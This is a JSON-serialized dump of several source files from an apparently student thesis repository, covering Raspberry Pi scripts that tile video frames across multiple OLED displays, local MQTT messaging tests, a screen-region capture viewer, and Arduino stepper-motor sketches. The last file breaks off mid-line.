"UTF-8", "text": "import pyautogui\r\nfrom time import sleep\r\nimport numpy as np\r\nimport cv2\r\nfrom mss import mss\r\nfrom PIL import Image , ImageGrab \r\nimport wx\r\n \r\napp = wx.App(False)\r\nwidth, height = wx.GetDisplaySize()\r\n\r\nn_rows = 3\r\nn_images_per_row = 3\r\n\r\na=0\r\nb=0\r\n#a=(GetSystemMetrics(0))\r\n#b=(GetSystemMetrics(1))\r\nsct = mss()\r\n#events=\r\n\r\n\r\nwhile True:\r\n images = []\r\n pos = pyautogui.position()\r\n a=(f'{pos[0]}')\r\n b=(f'{pos[1]}')\r\n #print(type(x))\r\n #print(type(y))\r\n a=int(a)\r\n b=int(b)\r\n #file.write(f'{pos[0]}, {pos[1]}\\n')\r\n #sleep(.16)\r\n #print(\"X:\",x,\"Y:\",y)\r\n bounding_box = {'top': (b-100), 'left': (a-100), 'width': 384, 'height': 192}\r\n sleep(.1)\r\n\r\n sct_img = sct.grab(bounding_box)\r\n cv2.namedWindow('press c to capture')\r\n cv2.moveWindow('press c to capture', width-384,30)\r\n cv2.imshow('press c to capture', np.array(sct_img))\r\n \r\n if (cv2.waitKey(1) & 0xFF) == ord('c'):\r\n #img =ImageGrab.grab(bbox=bounding_box)\r\n \r\n k=np.array(sct_img)\r\n gray = cv2.cvtColor(k, cv2.COLOR_BGR2GRAY)\r\n k = np.array(np.ones((11, 11), np.float32))/121\r\n \r\n k = np.array(([1, 0, -1], [0, 0, 0], [-1, 0, 1]), np.float32)\r\n output = cv2.filter2D(gray, -1, k)\r\n cv2.namedWindow('cap')\r\n cv2.moveWindow('cap', width-384,252)\r\n cv2.imshow(\"cap\",output)\r\n \"\"\"height, width = gray.shape\r\n roi_height = int(height / n_rows)\r\n roi_width = int(width / n_images_per_row)\r\n for x in range(0, n_rows):\r\n for y in range(0, n_images_per_row):\r\n tmp_image=gray[x*roi_height:(x+1)*roi_height, y*roi_width:(y+1)*roi_width]\r\n images.append(tmp_image)\r\n #print(len(images))\r\n for x in range(0, n_rows):\r\n for y in range(0, n_images_per_row):\r\n cv2.imshow(str(x*n_images_per_row+y+1),images[x*n_images_per_row+y])\r\n cv2.moveWindow(str(x*n_images_per_row+y+1), 100+(y*roi_width), 50+(x*roi_height))\r\n \r\n frame_1=np.mean(images[0])\r\n frame_2=np.mean(images[1])\r\n frame_3=np.mean(images[2])\r\n frame_4=np.mean(images[3])\r\n frame_5=np.mean(images[4])\r\n frame_6=np.mean(images[5])\r\n frame_7=np.mean(images[6])\r\n frame_8=np.mean(images[7])\r\n frame_9=np.mean(images[8])\r\n print(frame_1)\r\n print(frame_2)\r\n print(frame_3)\r\n print(frame_4)\r\n print(frame_5)\r\n print(frame_6)\r\n print(frame_7)\r\n print(frame_8)\r\n print(frame_9)\r\n print('\\n')\"\"\" \r\n if (cv2.waitKey(1) & 0xFF) == ord('q'):\r\n cv2.destroyAllWindows()\r\n break" }, { "alpha_fraction": 0.5664263367652893, "alphanum_fraction": 0.6117404699325562, "avg_line_length": 31.20689582824707, "blob_id": "37ed2eec1398b448cbe882e9f6052ef8ce2c9c89", "content_id": "5da74f6713ba078ba1fc1b31395b4e8216af09b0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1942, "license_type": "permissive", "max_line_length": 93, "num_lines": 58, "path": "/forign/101/Raspberry pi codes/luma_Oled_Test.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import cv2\r\nimport _thread\r\nimport time\r\nfrom luma.core.interface.serial import i2c\r\nfrom luma.core.render import canvas\r\nfrom luma.oled.device import ssd1306, ssd1325, ssd1331, sh1106\r\nfrom time import sleep\r\nfrom PIL import Image\r\n\r\ncap= cv2.VideoCapture('/home/pi/Downloads/videoplayback.mp4')\r\nn_rows = 1\r\nn_images_per_row = 2\r\nwidth = 256\r\nheight = 64\r\ndim = (width, height)\r\nserial1 = i2c(port=4, address=0x3C)\r\ndevice1 = ssd1306(serial1)\r\nserial2 = i2c(port=3, address=0x3C)\r\ndevice2 = ssd1306(serial2)\r\n\r\ndef print_Image(image,device):\r\n device1.display(image)\r\ndef print_Image2(image,device):\r\n device2.display(image)\r\n\r\nwhile(True):\r\n start_time = time.time()\r\n ret, frame = cap.read()\r\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n frame = cv2.resize(frame, dim, interpolation = cv2.INTER_AREA)\r\n height, width = frame.shape\r\n roi_height = int(height / n_rows)\r\n roi_width = int(width / n_images_per_row)\r\n \r\n images = []\r\n \r\n for x in range(0, n_rows):\r\n for y in range(0, n_images_per_row):\r\n tmp_image=frame[x*roi_height:(x+1)*roi_height, y*roi_width:(y+1)*roi_width]\r\n images.append(tmp_image)\r\n \r\n #Display image\r\n for x in range(0, n_rows):\r\n for y in range(0, n_images_per_row):\r\n cv2.imshow(str(x*n_images_per_row+y+1),images[x*n_images_per_row+y])\r\n cv2.moveWindow(str(x*n_images_per_row+y+1), 100+(y*roi_width), 50+(x*roi_height))\r\n \r\n image = Image.fromarray(images[0]).convert('1')\r\n image2 = Image.fromarray(images[1]).convert('1')\r\n \r\n time.sleep(.038)\r\n _thread.start_new_thread(print_Image2, (image2,device1),)\r\n _thread.start_new_thread(print_Image, (image,device2),)\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n print(time.time()-start_time)\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n\r\n \r\n" }, { "alpha_fraction": 0.6012269854545593, "alphanum_fraction": 0.6681539416313171, "avg_line_length": 32.81553268432617, "blob_id": "3e887e132faabcc01a427ad91612424c387f0000", "content_id": "7d2712e2d273b3907eadee1e3a3727f8dd1bb742", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3586, "license_type": "permissive", "max_line_length": 116, "num_lines": 103, "path": "/forign/101/Raspberry pi codes/async_test.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import cv2\r\nimport _thread\r\nimport time\r\nimport asyncio\r\nimport multiprocessing as mp\r\nfrom luma.core.interface.serial import i2c\r\nfrom luma.core.render import canvas\r\nfrom luma.oled.device import ssd1306, ssd1325, ssd1331, sh1106\r\nfrom time import sleep\r\nfrom PIL import Image\r\n\r\ncap= cv2.VideoCapture('/home/pi/Downloads/videoplayback.mp4')\r\nn_rows = 3\r\nn_images_per_row = 3\r\nwidth = 384\r\nheight = 192\r\ndim = (width, height)\r\nserial9 = i2c(port=11, address=0x3C)\r\ndevice9 = ssd1306(serial9)\r\nserial8 = i2c(port=10, address=0x3C)\r\ndevice8 = ssd1306(serial8)\r\nserial7 = i2c(port=9, address=0x3C)\r\ndevice7 = ssd1306(serial7)\r\nserial6 = i2c(port=8, address=0x3C)\r\ndevice6 = ssd1306(serial6)\r\nserial5 = i2c(port=7, address=0x3C)\r\ndevice5 = ssd1306(serial5)\r\nserial4 = i2c(port=6, address=0x3C)\r\ndevice4 = ssd1306(serial4)\r\nserial3 = i2c(port=5, address=0x3C)\r\ndevice3 = ssd1306(serial3)\r\nserial2 = i2c(port=4, address=0x3C)\r\ndevice2 = ssd1306(serial2)\r\nserial1 = i2c(port=3, address=0x3C)\r\ndevice1 = ssd1306(serial1)\r\n\r\nasync def print_Image(image,device):\r\n device.display(image)\r\n ##print(\"called\")\r\n await asyncio.sleep(.0001)\r\nasync def print_Image2(image,device):\r\n device.display(image)\r\n await asyncio.sleep(.0001)\r\n #print(\"print image2\")\r\nasync def print_Image3(image,device):\r\n device.display(image)\r\n await asyncio.sleep(.0001)\r\n #print(\"print image3\")\r\nasync def print_Image4(image,device):\r\n device.display(image)\r\n await asyncio.sleep(.0001)\r\n #print(\"print image4\")\r\nasync def print_Image5(image,device):\r\n device.display(image)\r\n await asyncio.sleep(.0001)\r\nasync def print_Image6(image,device):\r\n device.display(image)\r\n await asyncio.sleep(.0001)\r\nasync def print_Image7(image,device):\r\n device.display(image)\r\n await asyncio.sleep(.0001)\r\nasync def print_Image8(image,device):\r\n device.display(image)\r\n await asyncio.sleep(.0001)\r\nasync def print_Image9(image,device):\r\n device.display(image)\r\n await asyncio.sleep(.0001)\r\n\r\nwhile(True):\r\n start_time = time.time()\r\n ret, frame = cap.read()\r\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n frame = cv2.resize(frame, dim, interpolation = cv2.INTER_AREA)\r\n height, width = frame.shape\r\n roi_height = int(height / n_rows)\r\n roi_width = int(width / n_images_per_row)\r\n \r\n images = []\r\n \r\n for x in range(0, n_rows):\r\n for y in range(0, n_images_per_row):\r\n tmp_image=frame[x*roi_height:(x+1)*roi_height, y*roi_width:(y+1)*roi_width]\r\n images.append(tmp_image)\r\n \r\n image = Image.fromarray(images[0]).convert('1')\r\n image2 = Image.fromarray(images[1]).convert('1')\r\n image3 = Image.fromarray(images[2]).convert('1')\r\n image4 = Image.fromarray(images[3]).convert('1')\r\n image5 = Image.fromarray(images[4]).convert('1')\r\n image6 = Image.fromarray(images[5]).convert('1')\r\n image7 = Image.fromarray(images[6]).convert('1')\r\n image8 = Image.fromarray(images[7]).convert('1')\r\n image9 = Image.fromarray(images[8]).convert('1')\r\n async def call():\r\n await asyncio.gather(print_Image(image,device9),print_Image2(image2,device8),print_Image3(image3,device7),\r\n print_Image4(image4,device6),print_Image5(image5,device5),print_Image6(image6,device4),\r\n print_Image7(image7,device3),print_Image8(image8,device2),print_Image9(image9,device1))\r\n asyncio.run(call())\r\n if cv2.waitKey(1) & 0xFF == ord('q'):\r\n break\r\n print(time.time()-start_time)\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n" }, { "alpha_fraction": 0.5477386713027954, "alphanum_fraction": 0.6281406879425049, "avg_line_length": 15.558823585510254, "blob_id": "d5f38560ca9cff913dfa77721dc1905daeee3ac6", "content_id": "6b8ea19891c58b68b7df62389d6a3a124d290126", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 597, "license_type": "permissive", "max_line_length": 49, "num_lines": 34, "path": "/forign/101/Arduino/test2/test2.ino", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "#include <AccelStepper.h>\r\nString serialData;\r\n\r\n// Define two steppers and the pins they will use\r\nAccelStepper stepper1(1, 2, 3);\r\nAccelStepper stepper2(1, 4, 5);\r\n\r\n\r\nint pos1 = 3600;\r\nint pos2 = 5678;\r\n\r\nvoid setup()\r\n{ \r\n stepper1.setMaxSpeed(500);\r\n stepper1.setAcceleration(500);\r\n stepper2.setMaxSpeed(500);\r\n stepper2.setAcceleration(500);\r\n}\r\n\r\nvoid loop()\r\n{\r\n if (stepper1.distanceToGo() == 0)\r\n {\r\n //pos1 = -pos1;\r\n stepper1.moveTo(pos1);\r\n }\r\n if (stepper2.distanceToGo() == 0)\r\n {\r\n //pos2 = -pos2;\r\n stepper2.moveTo(pos2);\r\n }\r\n stepper1.run();\r\n stepper2.run();\r\n}\r\n" }, { "alpha_fraction": 0.6065573692321777, "alphanum_fraction": 0.6202185750007629, "avg_line_length": 72.19999694824219, "blob_id": "cabed291f0d2824a20365246deccee4dddb50c2c", "content_id": "d30fe23edd4d21ed27c78e37a003f74543ab72b8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 366, "license_type": "permissive", "max_line_length": 311, "num_lines": 5, "path": "/api/main.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import pandas as pd\ndf = pd.read_csv(os.path.join(\n os.getcwd(), \"parkinsons_data.txt\"), names=['subject#', 'age', 'sex', 'test_time', 'motor_UPDRS', 'total_UPDRS', 'Jitter(%)', 'Jitter(Abs)', 'Jitter:RAP', 'Jitter:PPQ5', 'Jitter:DDP', 'Shimmer_Shimmer(dB)', 'Shimmer:APQ3', 'Shimmer:APQ5', 'Shimmer:APQ11', 'Shimmer:DDA', 'NHR', 'HNR', 'RPDE', 'DFA', 'PPE'])\n\n#\n" }, { "alpha_fraction": 0.6334232091903687, "alphanum_fraction": 0.7241688966751099, "avg_line_length": 23.217391967773438, "blob_id": "3955b37e44bc7c2bf3ba80bd6f569ff408e801d3", "content_id": "f16046de955b1e52b94011b4d73af46b90fed4e2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1113, "license_type": "permissive", "max_line_length": 104, "num_lines": 46, "path": "/forign/101/Raspberry pi codes/splitImage.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import cv2\nimport time\nimport Adafruit_GPIO.SPI as SPI\nimport Adafruit_SSD1306\nfrom luma.core.interface.serial import i2c\nfrom luma.core.render import canvas\nfrom luma.oled.device import ssd1306, ssd1325, ssd1331, sh1106\nfrom time import sleep\nfrom PIL import Image\n\nRST = 24\n\nimage = cv2.imread(\"download.jpeg\")\nw=256\nh=64\ndim=(w,h)\nresized = cv2.resize(image, dim, interpolation =cv2.INTER_AREA)\nM = resized.shape[0]//1\nN = resized.shape[1]//2\ntiles = [resized[x:x+M,y:y+N] for x in range(0,resized.shape[0],M) for y in range(0,resized.shape[1],N)]\n\ndisp1 = Adafruit_SSD1306.SSD1306_128_64(rst=RST,i2c_bus=1)\ndisp2 = Adafruit_SSD1306.SSD1306_128_64(rst=RST,i2c_bus=3)\ndisp1.begin()\ndisp1.clear()\ndisp1.display()\n\ndisp2.begin()\ndisp2.clear()\ndisp2.display()\n\nif disp1.height == 64:\n image = Image.fromarray(tiles[0]).convert('1')\nelse:\n image = Image.fromarray(tirles[0]).convert('1')\n\nif disp2.height == 64:\n image2 = Image.fromarray(tiles[1]).convert('1')\nelse:\n image2 = Image.fromarray(tirles[1]).convert('1')\n\ndisp1.image(image)\ndisp1.display()\ndisp2.image(image2)\ndisp2.display()\ncv2.waitKey(0)" }, { "alpha_fraction": 0.6677704453468323, "alphanum_fraction": 0.6942604780197144, "avg_line_length": 25.647058486938477, "blob_id": "eb3758360aaa2782f4c086d4eaff75cb70c2c375", "content_id": "829051f07ed7f02512e38192bd31049b9a8b19ab", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 906, "license_type": "permissive", "max_line_length": 63, "num_lines": 34, "path": "/raspberry_pi/mqtt_Subscriber.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import paho.mqtt.client as mqtt #import the client1\nimport cv2\nimport io\nfrom PIL import Image\nimport numpy as np\nimport base64\n\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected with result code \"+str(rc))\ndef process_message(client, userdata, msg):\n print(\"massege received:\",str(msg.payload.decode(\"utf-8\")))\n \"\"\"img = base64.b64decode(msg.payload)\n npimg = np.frombuffer(img,np.uint8)\n source = cv2.imdecode(npimg, 1)\n cv2.imshow(\"image\",source)\n f = open('output.jpg', \"wb\")\n f.write(msg.payload)\n print(\"Image Received\")\n #image = Image.open(io.BytesIO(f))\n #image.show()\n \n \n f.close()\"\"\"\nbroker_address=\"192.168.0.101\" \nclient = mqtt.Client(\"s1\") \nclient.on_connect = on_connect\nclient.on_message = process_message\n\n#create new instance\n\nclient.connect(broker_address) #connect to broker\n\nclient.subscribe(\"test/message\")\nclient.loop_forever()\n" }, { "alpha_fraction": 0.6704545617103577, "alphanum_fraction": 0.7102272510528564, "avg_line_length": 27.5, "blob_id": "bf0c5b1fac7d6990c784aae05f32d319ebd9e474", "content_id": "73156c7e69829b690e224a182bfe997f1cc76ea7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 352, "license_type": "permissive", "max_line_length": 42, "num_lines": 12, "path": "/forign/101/MQTT/mqtt_Test.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import paho.mqtt.client as mqtt\r\n\"\"\"import cv2\r\nimg = cv2.imread(\"cover.jpeg\") \r\nf=open(\"cover.jpeg\",\"rb\")\r\nfileContent = f.read()\r\nbyteArr = bytearray(fileContent)\"\"\"\r\nbroker_address=\"192.168.0.101\"\r\nclient= mqtt.Client(\"p1\")\r\nclient.connect(broker_address)\r\n#client.subscribe(\"test/message\")\r\nclient.publish(\"test/message\",\"working\",0)\r\nclient.loop()" }, { "alpha_fraction": 0.5, "alphanum_fraction": 0.5410959124565125, "avg_line_length": 11.166666984558105, "blob_id": "cb05fa6224f2a0bf46f20c7cf16f996701404131", "content_id": "51a6e8b6829058ea9f6f8610a95029825478fd50", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 146, "license_type": "permissive", "max_line_length": 28, "num_lines": 12, "path": "/converion.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import time\n\n\ndef fetch_db():\n for i in range(0, 1000):\n time.sleep(.1)\n yield i\n\n\ndata = fetch_db()\nfor i in data:\n print(i)\n" }, { "alpha_fraction": 0.6026285290718079, "alphanum_fraction": 0.6588712930679321, "avg_line_length": 35.842857360839844, "blob_id": "d4f8afa280117c504ce94fca5fdb840f091456d0", "content_id": "ed657859b2e78a30610dd7f53463523775a35cc0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5174, "license_type": "permissive", "max_line_length": 93, "num_lines": 140, "path": "/raspberry_pi/display_Run_Old.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import cv2\nimport _thread\nimport time\nimport multiprocessing as mp\nfrom luma.core.interface.serial import i2c\nfrom luma.core.render import canvas\nfrom luma.oled.device import ssd1306, ssd1325, ssd1331, sh1106\nfrom time import sleep\nfrom PIL import Image\n\ncap= cv2.VideoCapture('/home/pi/Downloads/videoplayback.mp4')\nn_rows = 3\nn_images_per_row = 3\nwidth = 384\nheight = 192\ndim = (width, height)\nserial9 = i2c(port=11, address=0x3C)\ndevice9 = ssd1306(serial9)\nserial8 = i2c(port=10, address=0x3C)\ndevice8 = ssd1306(serial8)\nserial7 = i2c(port=9, address=0x3C)\ndevice7 = ssd1306(serial7)\nserial6 = i2c(port=8, address=0x3C)\ndevice6 = ssd1306(serial6)\nserial5 = i2c(port=7, address=0x3C)\ndevice5 = ssd1306(serial5)\nserial4 = i2c(port=6, address=0x3C)\ndevice4 = ssd1306(serial4)\nserial3 = i2c(port=5, address=0x3C)\ndevice3 = ssd1306(serial3)\nserial2 = i2c(port=4, address=0x3C)\ndevice2 = ssd1306(serial2)\nserial1 = i2c(port=3, address=0x3C)\ndevice1 = ssd1306(serial1)\n\ndef print_Image(image,device):\n device.display(image)\n #print(\"print image1\")\ndef print_Image2(image,device):\n device.display(image)\n #print(\"print image2\")\ndef print_Image3(image,device):\n device.display(image)\n #print(\"print image3\")\ndef print_Image4(image,device):\n device.display(image)\n #print(\"print image4\")\ndef print_Image5(image,device):\n device.display(image)\ndef print_Image6(image,device):\n device.display(image)\ndef print_Image7(image,device):\n device.display(image)\ndef print_Image8(image,device):\n device.display(image)\ndef print_Image9(image,device):\n device.display(image)\n\n'''def process_1(image,device4,image2,device3):\n \n print(\"Process1_called\")\n #device4.display(image)\n #device3.display(image2)\n _thread.start_new_thread(print_Image, (image,device4),)\n _thread.start_new_thread(print_Image2, (image2,device3),)\ndef process_2(image3,device2,image4,device1):\n \n print(\"Process2_called\")\n #device2.display(image3)\n #device1.display(image4)\n _thread.start_new_thread(print_Image3, (image3,device2),)\n _thread.start_new_thread(print_Image4, (image4,device1),)\n'''\nwhile(True):\n start_time = time.time()\n ret, frame = cap.read()\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n frame = cv2.resize(frame, dim, interpolation = cv2.INTER_AREA)\n height, width = frame.shape\n roi_height = int(height / n_rows)\n roi_width = int(width / n_images_per_row)\n \n images = []\n \n for x in range(0, n_rows):\n for y in range(0, n_images_per_row):\n tmp_image=frame[x*roi_height:(x+1)*roi_height, y*roi_width:(y+1)*roi_width]\n images.append(tmp_image)\n \n #Display image\n for x in range(0, n_rows):\n for y in range(0, n_images_per_row):\n cv2.imshow(str(x*n_images_per_row+y+1),images[x*n_images_per_row+y])\n cv2.moveWindow(str(x*n_images_per_row+y+1), 100+(y*roi_width), 50+(x*roi_height))\n \n #image = Image.fromarray(images[0]).convert('1')\n #image2 = Image.fromarray(images[1]).convert('1')\n #image3 = Image.fromarray(images[2]).convert('1')\n #image4 = Image.fromarray(images[3]).convert('1')\n #time.sleep(.01)\n #a=mp.Process(target=process_1, args=(image,image2,device4,device3,))\n #b=mp.Process(target=process_2, args=(image3,image4,device2,device1,))\n #time.sleep(.052)\n #_thread.start_new_thread(print_Image, (image,device4),)\n #_thread.start_new_thread(print_Image2, (image2,device3),)\n #_thread.start_new_thread(print_Image3, (image3,device2),)\n #_thread.start_new_thread(print_Image4, (image4,device1),)\n #a.start()\n #a.join()\n #b.start()\n #b.join()\n image = Image.fromarray(images[0]).convert('1')\n image2 = Image.fromarray(images[1]).convert('1')\n image3 = Image.fromarray(images[2]).convert('1')\n image4 = Image.fromarray(images[3]).convert('1')\n image5 = Image.fromarray(images[4]).convert('1')\n image6 = Image.fromarray(images[5]).convert('1')\n image7 = Image.fromarray(images[6]).convert('1')\n image8 = Image.fromarray(images[7]).convert('1')\n image9 = Image.fromarray(images[8]).convert('1')\n time.sleep(.155)\n _thread.start_new_thread(print_Image, (image,device9),)\n _thread.start_new_thread(print_Image2, (image2,device8),)\n _thread.start_new_thread(print_Image3, (image3,device7),)\n _thread.start_new_thread(print_Image4, (image4,device6),)\n _thread.start_new_thread(print_Image5, (image5,device5),)\n _thread.start_new_thread(print_Image6, (image6,device4),)\n _thread.start_new_thread(print_Image7, (image7,device3),)\n _thread.start_new_thread(print_Image8, (image8,device2),)\n _thread.start_new_thread(print_Image9, (image9,device1),)\n '''\n a=mp.Process(target=process_1, args=(image,image2,device4,device3,))\n b=mp.Process(target=process_2, args=(image3,image4,device2,device1,))\n a.start()\n b.start()'''\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n print(time.time()-start_time)\ncap.release()\ncv2.destroyAllWindows()\n\n \n\n\n" }, { "alpha_fraction": 0.5322580933570862, "alphanum_fraction": 0.5564516186714172, "avg_line_length": 21.846153259277344, "blob_id": "444bdf2f7c72d816e6fa1825e7cd9e3c156a739e", "content_id": "eef3a96aafeb1461fef723c9e49d78d106f41cec", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 620, "license_type": "permissive", "max_line_length": 48, "num_lines": 26, "path": "/forign/101/Arduino/data_Receive_Test/data_Receive_Test.ino", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "String serialData;\r\nvoid setup() {\r\n // put your setup code here, to run once:\r\n Serial.begin(9600);\r\n pinMode(13,OUTPUT);\r\n}\r\n\r\nvoid loop() {\r\n // put your main code here, to run repeatedly:\r\n if (Serial.available())\r\n {\r\n serialData = Serial.readString();\r\n //Serial.print(serialData);\r\n String yval= serialData.substring(0,1);\r\n String zval= serialData.substring(2,3);\r\n int y_val= yval.toInt();\r\n int z_val =zval.toInt();\r\n if (y_val == 1)\r\n {\r\n Serial.print(y_val);\r\n digitalWrite(13,HIGH);}\r\n //else{\r\n //digitalWrite(13,LOW);\r\n }\r\n \r\n}\r\n" }, { "alpha_fraction": 0.5175800323486328, "alphanum_fraction": 0.595953643321991, "avg_line_length": 23.35885238647461, "blob_id": "c2c0521a2d7fe848249206eda12f1428a4546c46", "content_id": "5278617dc868c57866effbd1f5482937eaa6ed2c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5091, "license_type": "permissive", "max_line_length": 104, "num_lines": 209, "path": "/raspberry_pi/Not_Working/motor_run/motor_run.ino", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "#include <AccelStepper.h>\nString serialData;\n\n// Define two steppers and the pins they will use\nAccelStepper stepper1(1, 2, 3);\nAccelStepper stepper2(1, 4, 5);\nAccelStepper stepper3(1, 6, 7);\nAccelStepper stepper4(1, 8, 9);\nAccelStepper stepper5(1, 10, 11);\nAccelStepper stepper6(1, 28, 29);\nAccelStepper stepper7(1, 26, 27);\nAccelStepper stepper8(1, 30, 31);\n\nint new_motor_00=0;\nint old_motor_00=0;\nint new_motor_01=0;\nint old_motor_01=0;\nint new_motor_02=0;\nint old_motor_02=0;\nint new_motor_10=0;\nint old_motor_10=0;\nint new_motor_11=0;\nint old_motor_11=0;\nint new_motor_12=0;\nint old_motor_12=0;\nint new_motor_20=0;\nint old_motor_20=0;\nint new_motor_21=0;\nint old_motor_21=0;\nint new_motor_22=0;\nint old_motor_22=0;\nint pos1;\nint pos2;\nint pos3;\nint pos4;\nint pos5;\nint pos6;\nint pos7;\nint pos8;\n\n\nvoid setup()\n{ Serial.begin(9600); \n stepper1.setMaxSpeed(500);\n stepper1.setAcceleration(500);\n stepper1.setCurrentPosition(0);\n stepper1.setMaxSpeed(500);\n stepper1.setAcceleration(500);\n \n stepper2.setMaxSpeed(500);\n stepper2.setAcceleration(500);\n stepper2.setCurrentPosition(0);\n stepper2.setMaxSpeed(500);\n stepper2.setAcceleration(500);\n\n stepper3.setMaxSpeed(500);\n stepper3.setAcceleration(500);\n stepper3.setCurrentPosition(0);\n stepper3.setMaxSpeed(500);\n stepper3.setAcceleration(500);\n\n stepper4.setMaxSpeed(500);\n stepper4.setAcceleration(500);\n stepper4.setCurrentPosition(0);\n stepper4.setMaxSpeed(500);\n stepper4.setAcceleration(500);\n \n stepper5.setMaxSpeed(500);\n stepper5.setAcceleration(500);\n stepper5.setCurrentPosition(0);\n stepper5.setMaxSpeed(500);\n stepper5.setAcceleration(500);\n\n stepper6.setMaxSpeed(500);\n stepper6.setAcceleration(500);\n stepper6.setCurrentPosition(0);\n stepper6.setMaxSpeed(500);\n stepper6.setAcceleration(500);\n\n stepper7.setMaxSpeed(500);\n stepper7.setAcceleration(500);\n stepper7.setCurrentPosition(0);\n stepper7.setMaxSpeed(500);\n stepper7.setAcceleration(500);\n\n stepper8.setMaxSpeed(500);\n stepper8.setAcceleration(500);\n stepper8.setCurrentPosition(0);\n stepper8.setMaxSpeed(500);\n stepper8.setAcceleration(500);\n}\n\n String getValue(String data, char separator, int index)\n{\n int found = 0;\n int strIndex[] = { 0, -1 };\n int maxIndex = data.length() - 1;\n\n for (int i = 0; i <= maxIndex && found <= index; i++) {\n if (data.charAt(i) == separator || i == maxIndex) {\n found++;\n strIndex[0] = strIndex[1] + 1;\n strIndex[1] = (i == maxIndex) ? i+1 : i;\n }\n }\n return found > index ? data.substring(strIndex[0], strIndex[1]) : \"\";\n}\n\nvoid loop()\n{\n\n\n if (Serial.available()>0)\n {\n serialData = Serial.readStringUntil('\\n');\n \n String motor_00_val = getValue(serialData,',',0);\n String motor_01_val = getValue(serialData,',',1);\n String motor_02_val = getValue(serialData,',',2);\n String motor_10_val = getValue(serialData,',',3);\n String motor_11_val = getValue(serialData,',',4);\n String motor_12_val = getValue(serialData,',',5);\n String motor_20_val = getValue(serialData,',',6);\n String motor_21_val = getValue(serialData,',',7);\n //Serial.print(serialData);\n \n new_motor_00 = motor_00_val.toInt()*90;\n new_motor_01 = motor_01_val.toInt()*90;\n new_motor_02 = motor_02_val.toInt()*90;\n new_motor_10 = motor_10_val.toInt()*90;\n new_motor_11 = motor_11_val.toInt()*90;\n new_motor_12 = motor_12_val.toInt()*90;\n new_motor_20 = motor_20_val.toInt()*90;\n new_motor_21 = motor_21_val.toInt()*90;\n \n stepper1.moveTo(new_motor_00);\n stepper2.moveTo(new_motor_01);\n stepper3.moveTo(new_motor_02);\n stepper4.moveTo(new_motor_10);\n stepper5.moveTo(new_motor_11);\n stepper6.moveTo(new_motor_12);\n stepper7.moveTo(new_motor_20);\n stepper8.moveTo(new_motor_21);\n\n \n \n \n \n \n \n \n\n \n \n while(stepper1.distanceToGo()!=0 || stepper2.distanceToGo()!=0 || stepper3.distanceToGo()!=0\n || stepper4.distanceToGo()!=0 || stepper5.distanceToGo()!=0 || stepper6.distanceToGo()!=0 \n || stepper7.distanceToGo()!=0 || stepper8.distanceToGo()!=0)\n { if(stepper1.distanceToGo()!=0)\n {\n stepper1.run();\n\n }\n if(stepper2.distanceToGo()!=0)\n {\n \n stepper2.run();\n\n }\n if(stepper3.distanceToGo()!=0)\n {\n \n stepper3.run();\n\n }\n if(stepper4.distanceToGo()!=0)\n {\n \n stepper4.run();\n\n }\n if(stepper5.distanceToGo()!=0)\n {\n \n stepper5.run();\n\n }\n if(stepper6.distanceToGo()!=0)\n {\n \n stepper6.run();\n\n }\n if(stepper7.distanceToGo()!=0)\n {\n \n stepper7.run();\n\n }\n if(stepper8.distanceToGo()!=0)\n {\n \n stepper8.run();\n\n }\n }\n \n }\n\n}\n" }, { "alpha_fraction": 0.6181498765945435, "alphanum_fraction": 0.6320498585700989, "avg_line_length": 37.881988525390625, "blob_id": "749fbee2a063d8c610a273a37511e3518d7fdc00", "content_id": "359405ff00adbfcefe5a6fb4cc02dd8d0927d131", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6259, "license_type": "permissive", "max_line_length": 151, "num_lines": 161, "path": "/raspberry_pi/display_driver.py", "repo_name": "islam-shamiul/thesis", "src_encoding": "UTF-8", "text": "import base64\nimport socket\nimport time\nfrom fileinput import close\nfrom lib2to3.pytree import convert\nfrom time import sleep\n\nimport cv2 as opencv_four\nimport numpy\nfrom PIL import Image\nimport os\nimport logging\nimport _thread\nfrom luma.core.interface.serial import i2c\nfrom luma.oled.device import ssd1306\n\n\nfile_name = os.path.basename(__file__)\nserver_port = 5050\nserver_address = '192.168.0.101'\n\n\nimage_server = 